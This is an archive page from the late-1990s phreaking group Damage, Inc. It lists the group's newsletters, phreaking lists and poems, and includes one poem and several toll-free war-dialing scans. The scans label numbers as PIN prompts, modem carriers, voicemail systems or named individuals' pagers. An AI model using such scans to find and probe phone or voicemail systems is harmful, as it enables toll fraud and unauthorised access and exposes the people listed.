<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.005">damage.005</A> <tab to=T><TD> 93250<BR><TD> Damage Incorporated Newsletter Issue #5 (January, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.006">damage.006</A> <tab to=T><TD> 78855<BR><TD> Damage Incorporated Newsletter Issue #6 (February, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.007">damage.007</A> <tab to=T><TD> 95640<BR><TD> Damage Incorporated Newsletter Issue #7 (March, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.008">damage.008</A> <tab to=T><TD> 117500<BR><TD> Damage Incorporated Newsletter Issue #8 (April, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.009">damage.009</A> <tab to=T><TD> 127815<BR><TD> Damage Incorporated Newsletter Issue #9 (May, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.010">damage.010</A> <tab to=T><TD> 125880<BR><TD> Damage Incorporated Newsletter Issue #10 (July, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.011">damage.011</A> <tab to=T><TD> 115145<BR><TD> Damage Incorporated Newsletter Issue #11 (August, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.012">damage.012</A> <tab to=T><TD> 172585<BR><TD> Damage Incorporated Newsletter Issue #12 (October, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.013">damage.013</A> <tab to=T><TD> 138080<BR><TD> Damage Incorporated Newsletter Issue #13 (December 24, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.014">damage.014</A> <tab to=T><TD> 181130<BR><TD> Damage Incorporated Newsletter Issue #14 (February 26th, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.015">damage.015</A> <tab to=T><TD> 191920<BR><TD> Damage Incorporated Newsletter Issue #15 (May 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.016">damage.016</A> <tab to=T><TD> 177510<BR><TD> Damage Incorporated Newsletter Issue #16 (July 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.017">damage.017</A> <tab to=T><TD> 252175<BR><TD> Damage Incorporated Newsletter Issue #17 (January 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.018">damage.018</A> <tab to=T><TD> 361195<BR><TD> Damage Incorporated Newsletter Issue #18 (June 30th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.019">damage.019</A> <tab to=T><TD> 205450<BR><TD> Damage Incorporated Newsletter Issue #19 (January 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damage.faq">damage.faq</A> <tab to=T><TD> 21534<BR><TD> Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/damloops.txt">damloops.txt</A> <tab to=T><TD> 3715<BR><TD> 416/905 Loops Listing (April 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/dnic.txt">dnic.txt</A> <tab to=T><TD> 32810<BR><TD> Data Network Identification Codes
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/gratte.txt">gratte.txt</A> <tab to=T><TD> 24399<BR><TD> Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/ifonly.txt">ifonly.txt</A> <tab to=T><TD> 2889<BR><TD> Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/intcodes.txt">intcodes.txt</A> <tab to=T><TD> 10904<BR><TD> Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/mci.nfo">mci.nfo</A> <tab to=T><TD> 179230<BR><TD> MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/myheart.txt">myheart.txt</A> <tab to=T><TD> 3180<BR><TD> Poetic Rantings: My Heart Beats for You
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/nowhere.txt">nowhere.txt</A> <tab to=T><TD> 3630<BR><TD> Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/npa.txt">npa.txt</A> <tab to=T><TD> 12782<BR><TD> The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/odedi.txt">odedi.txt</A> <tab to=T><TD> 2974<BR><TD> An Ode to Damage, Incorporated, by THC Phreak (1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/pages.txt">pages.txt</A> <tab to=T><TD> 3380<BR><TD> Poetic Rantings; Blank Pages Revealing Tears
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/phreaky.txt">phreaky.txt</A> <tab to=T><TD> 3556<BR><TD> Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/propagan.txt">propagan.txt</A> <tab to=T><TD> 3001<BR><TD> Poetic Rantings: Propagandize
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/silicon.txt">silicon.txt</A> <tab to=T><TD> 2645<BR><TD> Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/soldier.txt">soldier.txt</A> <tab to=T><TD> 2105<BR><TD> Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/sprint.nfo">sprint.nfo</A> <tab to=T><TD> 40000<BR><TD> SprintNet Local Access Numbers
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/stilldi.txt">stilldi.txt</A> <tab to=T><TD> 2768<BR><TD> Still Damage, Inc (Poem) by THC Phreak (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/terror.txt">terror.txt</A> <tab to=T><TD> 3345<BR><TD> Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/theend.txt">theend.txt</A> <tab to=T><TD> 4730<BR><TD> Poetic Rantings: The End of Truth
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/voice.txt">voice.txt</A> <tab to=T><TD> 5315<BR><TD> The Voice of the Monopoly (Poem) by BLACKENED (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/xxx-2255.txt">xxx-2255.txt</A> <tab to=T><TD> 13329<BR><TD> 1-800-XXX-2255 Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="DAMAGEINC/zombie.txt">zombie.txt</A> <tab to=T><TD> 4167<BR><TD> A Pathetic Zombie Race (Poem)
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<H1>Groups: Damage, Incorporated</H1>
<P>
BLACKENED's group of telecommunications enthusiasts have been creating
telephone scanning lists, newsletters, and poetry since 1993. This collection
comes courtesy of his efforts, which are greatly appreciated.
A large portion of these files are the Damage, Inc. Newsletter, which pulls
away any individal textfiles they might be working on and puts them into an
easy to find (and read) collection. Solid telephone information and great
to see them at it after so many years.
<P>
<TABLE WIDTH=100%>
<TD BGCOLOR=#000000><FONT COLOR=#FFFFFF><B>Filename</B><BR></FONT></TD>
<TD BGCOLOR=#002200><FONT COLOR=#FFFFFF><B>Size</B><BR></FONT></TD>
<TD BGCOLOR=#004400><FONT COLOR=#FFFFFF><B>Description of the Textfile</B><BR></TD></TR>
<tab indent=60 id=T><br>
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="16hours.txt">16hours.txt</A> <tab to=T><TD> 2730<BR><TD> Poetic Rantings by Blackened of Damage, Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="225-5xxx.txt">225-5xxx.txt</A> <tab to=T><TD> 18016<BR><TD> 1-800-225-5XXX Phone Number Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="465-11xx.txt">465-11xx.txt</A> <tab to=T><TD> 3537<BR><TD> 1-800-465-11XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="465-99xx.txt">465-99xx.txt</A> <tab to=T><TD> 3729<BR><TD> 1-800-465-99XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="800bell.txt">800bell.txt</A> <tab to=T><TD> 14503<BR><TD> 1-800-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="861-21xx.txt">861-21xx.txt</A> <tab to=T><TD> 3947<BR><TD> 1-800-861-21XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="861-99xx.txt">861-99xx.txt</A> <tab to=T><TD> 3422<BR><TD> 1-800-861-99XX Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="877bell.txt">877bell.txt</A> <tab to=T><TD> 11323<BR><TD> 1-877-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="888bell.txt">888bell.txt</A> <tab to=T><TD> 12954<BR><TD> 1-888-XXX-BELL Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="acronyms.txt">acronyms.txt</A> <tab to=T><TD> 54325<BR><TD> The Damage, Inc. List of Acronyms v1.0 (1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="aquila.txt">aquila.txt</A> <tab to=T><TD> 3306<BR><TD> Poetic Rantings: The Eyes of Aquila by Blackened of Damage, Inc.
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="bigbro.txt">bigbro.txt</A> <tab to=T><TD> 2961<BR><TD> Poetic Rantings: Big Brother Matters, by Blackie Lawless of Damage, Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="chaos.txt">chaos.txt</A> <tab to=T><TD> 3855<BR><TD> Chaos and Madness (Poem) by BLACKENED
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam00spr.txt">dam00spr.txt</A> <tab to=T><TD> 130410<BR><TD> The Phreaky Field Phreaking List Spring 2000 Edition (May 5th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam00sum.txt">dam00sum.txt</A> <tab to=T><TD> 143175<BR><TD> The Phreaky Field Phreaking List Summer 2000 Edition (July 25th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam00win.txt">dam00win.txt</A> <tab to=T><TD> 94854<BR><TD> The Phreaky Field Phreaking List Winter 2000 Edition (February 27, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam01win.txt">dam01win.txt</A> <tab to=T><TD> 145581<BR><TD> The Damage, Inc. Phreaky Field Phreaking List Winter 2001 Edition (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam99fal.txt">dam99fal.txt</A> <tab to=T><TD> 80840<BR><TD> The Phreaky Field Phreaking List Fall 1999 Edition (November 7, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam99spr.txt">dam99spr.txt</A> <tab to=T><TD> 50010<BR><TD> The Phreaky Field Phreaking List Spring 1999 Edition (March 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dam99sum.txt">dam99sum.txt</A> <tab to=T><TD> 61285<BR><TD> The Phreaky Field Phreaking List Summer 1999 Edition (June 30, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.001">damage.001</A> <tab to=T><TD> 73055<BR><TD> Damage Incorporated Newsletter Issue #1 (September 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.002">damage.002</A> <tab to=T><TD> 66689<BR><TD> Damage Incorporated Newsletter Issue #2 (October, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.003">damage.003</A> <tab to=T><TD> 68586<BR><TD> Damage Incorporated Newsletter Issue #3 (November, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.004">damage.004</A> <tab to=T><TD> 54540<BR><TD> Damage Incorporated Newsletter Issue #4 (December, 1997)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.005">damage.005</A> <tab to=T><TD> 93250<BR><TD> Damage Incorporated Newsletter Issue #5 (January, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.006">damage.006</A> <tab to=T><TD> 78855<BR><TD> Damage Incorporated Newsletter Issue #6 (February, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.007">damage.007</A> <tab to=T><TD> 95640<BR><TD> Damage Incorporated Newsletter Issue #7 (March, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.008">damage.008</A> <tab to=T><TD> 117500<BR><TD> Damage Incorporated Newsletter Issue #8 (April, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.009">damage.009</A> <tab to=T><TD> 127815<BR><TD> Damage Incorporated Newsletter Issue #9 (May, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.010">damage.010</A> <tab to=T><TD> 125880<BR><TD> Damage Incorporated Newsletter Issue #10 (July, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.011">damage.011</A> <tab to=T><TD> 115145<BR><TD> Damage Incorporated Newsletter Issue #11 (August, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.012">damage.012</A> <tab to=T><TD> 172585<BR><TD> Damage Incorporated Newsletter Issue #12 (October, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.013">damage.013</A> <tab to=T><TD> 138080<BR><TD> Damage Incorporated Newsletter Issue #13 (December 24, 1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.014">damage.014</A> <tab to=T><TD> 181130<BR><TD> Damage Incorporated Newsletter Issue #14 (February 26th, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.015">damage.015</A> <tab to=T><TD> 191920<BR><TD> Damage Incorporated Newsletter Issue #15 (May 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.016">damage.016</A> <tab to=T><TD> 177510<BR><TD> Damage Incorporated Newsletter Issue #16 (July 31, 1999)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.017">damage.017</A> <tab to=T><TD> 252175<BR><TD> Damage Incorporated Newsletter Issue #17 (January 20, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.018">damage.018</A> <tab to=T><TD> 361195<BR><TD> Damage Incorporated Newsletter Issue #18 (June 30th, 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.019">damage.019</A> <tab to=T><TD> 205450<BR><TD> Damage Incorporated Newsletter Issue #19 (January 1, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damage.faq">damage.faq</A> <tab to=T><TD> 21534<BR><TD> Damage, Incorporated Frequently Asked Questions, by BLACKENED (March 13, 2000) v1.20
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="damloops.txt">damloops.txt</A> <tab to=T><TD> 3715<BR><TD> 416/905 Loops Listing (April 2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="dnic.txt">dnic.txt</A> <tab to=T><TD> 32810<BR><TD> Data Network Identification Codes
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="gratte.txt">gratte.txt</A> <tab to=T><TD> 24399<BR><TD> Interviews and Interrogations: Interview with Grandmaster Ratte' of the cDc (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="ifonly.txt">ifonly.txt</A> <tab to=T><TD> 2889<BR><TD> Poetic Rantings: If Only... by Helena3 of Damage, Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="intcodes.txt">intcodes.txt</A> <tab to=T><TD> 10904<BR><TD> Phreaky International Codes Reference Winter 2001 Edition (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="mci.nfo">mci.nfo</A> <tab to=T><TD> 179230<BR><TD> MCI Worldcom Network Assistance: Access Numbers for Compuserve, BT Tymnet, Datapac, AlaskaNet
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="myheart.txt">myheart.txt</A> <tab to=T><TD> 3180<BR><TD> Poetic Rantings: My Heart Beats for You
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="nowhere.txt">nowhere.txt</A> <tab to=T><TD> 3630<BR><TD> Poetic Rantings: American Dreams: Nowhere is Everywhere, by Blackened of Damage Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="npa.txt">npa.txt</A> <tab to=T><TD> 12782<BR><TD> The Damage Inc. Phreaky Field NPA Reference (Winter 2001 Edition) (February 5, 2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="odedi.txt">odedi.txt</A> <tab to=T><TD> 2974<BR><TD> An Ode to Damage, Incorporated, by THC Phreak (1998)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="pages.txt">pages.txt</A> <tab to=T><TD> 3380<BR><TD> Poetic Rantings; Blank Pages Revealing Tears
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="phreaky.txt">phreaky.txt</A> <tab to=T><TD> 3556<BR><TD> Snap! Crackle! Pop! Bell Krispies! Winter 2001 Edition, by Blackie Lawless
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="propagan.txt">propagan.txt</A> <tab to=T><TD> 3001<BR><TD> Poetic Rantings: Propagandize
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="silicon.txt">silicon.txt</A> <tab to=T><TD> 2645<BR><TD> Poetic Rantings: Submissive Silicon Dreams by Blackened of Damage Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="soldier.txt">soldier.txt</A> <tab to=T><TD> 2105<BR><TD> Poetic Rantings: New World Soldier, by THC Phreak of Damage Inc. (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="sprint.nfo">sprint.nfo</A> <tab to=T><TD> 40000<BR><TD> SprintNet Local Access Numbers
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="stilldi.txt">stilldi.txt</A> <tab to=T><TD> 2768<BR><TD> Still Damage, Inc (Poem) by THC Phreak (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="terror.txt">terror.txt</A> <tab to=T><TD> 3345<BR><TD> Poetic Rantings: The Error of Terror by Blackened of Damage, Inc. (2001)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="theend.txt">theend.txt</A> <tab to=T><TD> 4730<BR><TD> Poetic Rantings: The End of Truth
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="voice.txt">voice.txt</A> <tab to=T><TD> 5315<BR><TD> The Voice of the Monopoly (Poem) by BLACKENED (2000)
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="xxx-2255.txt">xxx-2255.txt</A> <tab to=T><TD> 13329<BR><TD> 1-800-XXX-2255 Scan
<TR VALIGN=TOP><TD ALIGN=TOP><A HREF="zombie.txt">zombie.txt</A> <tab to=T><TD> 4167<BR><TD> A Pathetic Zombie Race (Poem)
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_| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
\________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
======================== "The name speaks for itself!" ========================
Poetic Rantings
http://surf.to/damage_inc
damage_inc@disinfo.net
===============================================================================
16 Hours of Hell and Bliss.
Writing sixteen hours... exploding in emotional outbursts. Not breaking away
from pen and paper. Not wanting to stop and eat, sleep, shave or shower. At
times feeling trapped and confined. At others, it's bliss. A paradox... like
the world in nirvana perpetually amiss. Ironic that I even choose to do this.
Cliches fill my head as it aches for rest. Caught between a rock and a hard
place. Looking up at the sheer rock face... of majestic mountains. Standing
tall but feeling so utterly small... at its brooding base.
There I go... off on a tangent again. Ranting on pages. Releasing energy
relentlessly. When will this bliss come to an abrupt end? Will this be the
final hour? So very weary now... So overpowered.
Time bends. Night is eclipsed by day... usurped by dawn. In the sixteenth hour
I finally give in. Sleep awaits. The moment has passed. I miss the feeling
that's now only a memory... Gone.
With inspiration exhausted... I'm left only with tiredness. Unsatisfied with
what I've written. Mind and body feeling like they've somehow been accosted.
Sweet words escape me... Lost.
But all's well. All's hell.
And now I don't feel much like writing. The moment faded away. The words are
gone like a fleeting summer. Worn down houses with paint peeling. But oh...
how bitter and cold the feeling. Torment so vicious... and biting. And the
emptiness so great... Overwhelming words so cruel and slighting.
This northern land... of wolf and man... ripping right through me like the
hopeless hours. Hours that only inspiration can devour. Will you be there?
I'm the one who waits for you... Inspired by truth.
I can't breathe. Of blood and pain and sorrow. Terrified. I will sleep now...
in the solace of darkness and shadows. And I will put myself through hell
again... tomorrow. Endless hours of misery await... without tears or cries.
This is what I've felt and known. This is my own private hell. So alone...
This is no oasis!
Written by BLACKENED / Damage, INC. (C)opyright 2001.

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\_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
_| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _
\________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
======================== "The name speaks for itself!" ========================
1-800-465-11XX Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
Shatazar's Scans (scanned from the 519 NPA)
2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
47-4 = Number is blocked/invalid.
1-800-465-1100 2CK.
1-800-465-1101 2CK.
1-800-465-1102 AT&T Easy Reach 800.
1-800-465-1103 "Please enter your 4 digit PIN."
1-800-465-1104 2CK.
1-800-465-1105 2CK.
1-800-465-1106 AT&T Easy Reach 800.
1-800-465-1107 Invalid.
1-800-465-1108 2CK.
1-800-465-1109 2CK.
1-800-465-1110 2CK.
1-800-465-1111 2CK.
1-800-465-1112 NIS.
1-800-465-1113 2CK.
1-800-465-1114 NA.
1-800-465-1115 Ontario Hydro Kenora area.
1-800-465-1116 NA.
1-800-465-1117 2CK.
1-800-465-1118 NA.
1-800-465-1119 2CK.
1-800-465-1120 Voice.
1-800-465-1121 NIS.
1-800-465-1122 NIS.
1-800-465-1123 Voice.
1-800-465-1124 NIS.
1-800-465-1125 NIS.
1-800-465-1126 NIS.
1-800-465-1127 Voice.
1-800-465-1128 2CK.
1-800-465-1129 FAX.
1-800-465-1130 NIS.
1-800-465-1131 NIS.
1-800-465-1132 NIS.
1-800-465-1133 2CK.
1-800-465-1134 Bars Dealer Accounting.
1-800-465-1135 Bruce McGregor with Century 21.
1-800-465-1136 Paul's pager.
1-800-465-1137 Robert Something Limited.
1-800-465-1138 Invalid/Blocked.
1-800-465-1139 NA.
1-800-465-1140 2CK.
1-800-465-1141 NIS.
1-800-465-1142 "Please leave your name and a message."
1-800-465-1143 NIS.
1-800-465-1144 2CK.
1-800-465-1145 NA.
1-800-465-1146 Non-Working number.
1-800-465-1147 NA.
1-800-465-1148 NIS.
1-800-465-1149 2CK.
1-800-465-1150 NA.
1-800-465-1151 NIS.
1-800-465-1152 French.
1-800-465-1153 Bell Canada.
1-800-465-1154 New Green Surfaces.
1-800-465-1155 Something Pontiac Buick Dealership.
1-800-465-1156 NIS.
1-800-465-1157 Invalid/Blocked.
1-800-465-1158 Invalid/Blocked.
1-800-465-1159 "Welcome to Frontier Speedlink. What PIN would you like to call?"
1-800-465-1160 "Please enter your 4 digit PIN."
1-800-465-1161 2CK.
1-800-465-1162 2CK.
1-800-465-1163 2CK.
1-800-465-1164 NA.
1-800-465-1165 AT&T Easy Reach 800.
1-800-465-1166 Jacob's Farm Equipment.
1-800-465-1167 "The mobile customer you have called is unavailable..."
1-800-465-1168 Invalid/Blocked.
1-800-465-1169 Invalid/Blocked.
1-800-465-1170 Bob Caruso.
1-800-465-1171 "This is not a valid number."
1-800-465-1172 2CK.
1-800-465-1173 2CK.
1-800-465-1174 Lace Master National VMS.
1-800-465-1175 Strange VMS/After hours FAX.
1-800-465-1176 Meridian Mail VMB.
1-800-465-1177 NIS.
1-800-465-1178 NIS.
1-800-465-1179 CARRIER.
1-800-465-1180 NIS.
1-800-465-1181 NIS.
1-800-465-1182 Service Cents.
1-800-465-1183 FAX.
1-800-465-1184 2CK.
1-800-465-1185 2CK.
1-800-465-1186 FAX.
1-800-465-1187 NIS.
1-800-465-1188 NIS.
1-800-465-1189 NIS.
1-800-465-1190 NIS.
1-800-465-1191 Pangrowsomething? offices.
1-800-465-1192 NIS.
1-800-465-1193 NIS.
1-800-465-1194 NIS.
1-800-465-1195 2CK.
1-800-465-1196 2CK.
1-800-465-1197 2CK.
1-800-465-1198 Canadian Transfer Association.
1-800-465-1199 NA.

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\_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/
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\________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_|
======================== "The name speaks for itself!" ========================
1-800-465-99XX Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
Shatazar's Scans (scanned from the 519 NPA)
2CK = Cannot be reached from 519. NA = No Answer. NIS = Not in Service.
47-4 = Number is blocked/invalid.
1-800-465-9900 NIS.
1-800-465-9901 NIS.
1-800-465-9902 NIS.
1-800-465-9903 NIS.
1-800-465-9904 NIS.
1-800-465-9905 NIS.
1-800-465-9906 AT&T Easy Reach 800.
1-800-465-9907 NIS.
1-800-465-9908 NIS.
1-800-465-9909 NA.
1-800-465-9910 NIS.
1-800-465-9911 2CK.
1-800-465-9912 2CK.
1-800-465-9913 American Network Leasing.
1-800-465-9914 FAX.
1-800-465-9915 2CK.
1-800-465-9916 Portfolio Administration Customer Service.
1-800-465-9917 NA.
1-800-465-9918 NIS.
1-800-465-9919 NIS.
1-800-465-9920 NIS.
1-800-465-9921 NIS.
1-800-465-9922 NA.
1-800-465-9923 French.
1-800-465-9924 NIS.
1-800-465-9925 NIS.
1-800-465-9926 NIS.
1-800-465-9927 NIS.
1-800-465-9928 2CK.
1-800-465-9929 NIS.
1-800-465-9930 NIS.
1-800-465-9931 NA.
1-800-465-9932 Pension Surplus Reserve Group.
1-800-465-9933 Weed Man Lawncare.
1-800-465-9934 2CK.
1-800-465-9935 NIS.
1-800-465-9936 NIS.
1-800-465-9937 2CK.
1-800-465-9938 Nationwide Messaging.
1-800-465-9939 Nationwide Messaging.
1-800-465-9940 Paulie's Pager.
1-800-465-9941 NIS.
1-800-465-9942 Nationwide Messaging.
1-800-465-9943 Someone's Pager/Voicemail.
1-800-465-9944 Voice.
1-800-465-9945 NIS.
1-800-465-9946 2CK.
1-800-465-9947 SkyTel. "Enter the PIN number you wish."
1-800-465-9948 Voice.
1-800-465-9949 Someone's Voicemail.
1-800-465-9950 "Enter telephone number or a numeric message."
1-800-465-9951 "Enter telephone number or a numeric message."
1-800-465-9952 2CK.
1-800-465-9953 FAX.
1-800-465-9954 "This PIN has been disconnected. Thank you for calling SkyTel."
1-800-465-9955 NA.
1-800-465-9956 Voicemail/Pager.
1-800-465-9957 AT&T Easy Reach 800.
1-800-465-9958 "Enter telephone number or a numeric message."
1-800-465-9959 Someone from Bell Canada?
1-800-465-9960 "Enter telephone number or a numeric message."
1-800-465-9961 MicroAge Computer Centers VMS.
1-800-465-9962 Voicemail/Pager.
1-800-465-9963 "Enter telephone number or a numeric message."
1-800-465-9964 BUSY. 2
1-800-465-9965 CARRIER.
1-800-465-9966 Voice.
1-800-465-9967 NIS.
1-800-465-9968 NA.
1-800-465-9969 NIS.
1-800-465-9970 "Enter telephone number or a numeric message."
1-800-465-9971 NIS.
1-800-465-9972 Nationwide Messaging.
1-800-465-9973 TONES.
1-800-465-9974 2CK.
1-800-465-9975 Nationwide Messaging.
1-800-465-9976 Nationwide Messaging.
1-800-465-9977 NA.
1-800-465-9978 NIS.
1-800-465-9979 NIS.
1-800-465-9980 Infotronics VMS.
1-800-465-9981 Nationwide Messaging.
1-800-465-9982 NIS.
1-800-465-9983 NIS.
1-800-465-9984 2CK.
1-800-465-9985 NA.
1-800-465-9986 "Welcome. Enter the PIN number you wish, followed by the # key."
1-800-465-9987 "Welcome to SkyTel 2-way."
1-800-465-9988 NIS.
1-800-465-9989 NIS.
1-800-465-9990 FAX.
1-800-465-9991 NIS.
1-800-465-9992 Voice.
1-800-465-9993 NIS.
1-800-465-9994 NIS.
1-800-465-9995 NIS.
1-800-465-9996 NIS.
1-800-465-9997 Voice.
1-800-465-9998 FAX.
1-800-465-9999 Bay Home Improvements.

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======================== "The name speaks for itself!" ========================
1-800-XXX-BELL Scan
http://surf.to/damage_inc
damage_inc@dope.org
===============================================================================
1-800-XXX-2355 (BELL) Scan:
200 2CK.
201 AT&T Easy Reach 800.
202 NIS.
203 2CK.
204 2CK.
205 2CK.
206 2CK.
207 Please enter your 10 digit pager number.
208 NIS.
209 "The party you have called is unavailable." Voicemail message.
210 2CK.
211 2CK.
212 NIS.
213 Answering machine.
214 United Health Care Service Center.
215 CTI. (not telco related)
216 FAX.
217 NIS.
218 2CK.
219 2CK.
220 Offices closed. Call back between 9-5.
221 2CK.
222 2CK.
223 2CK.
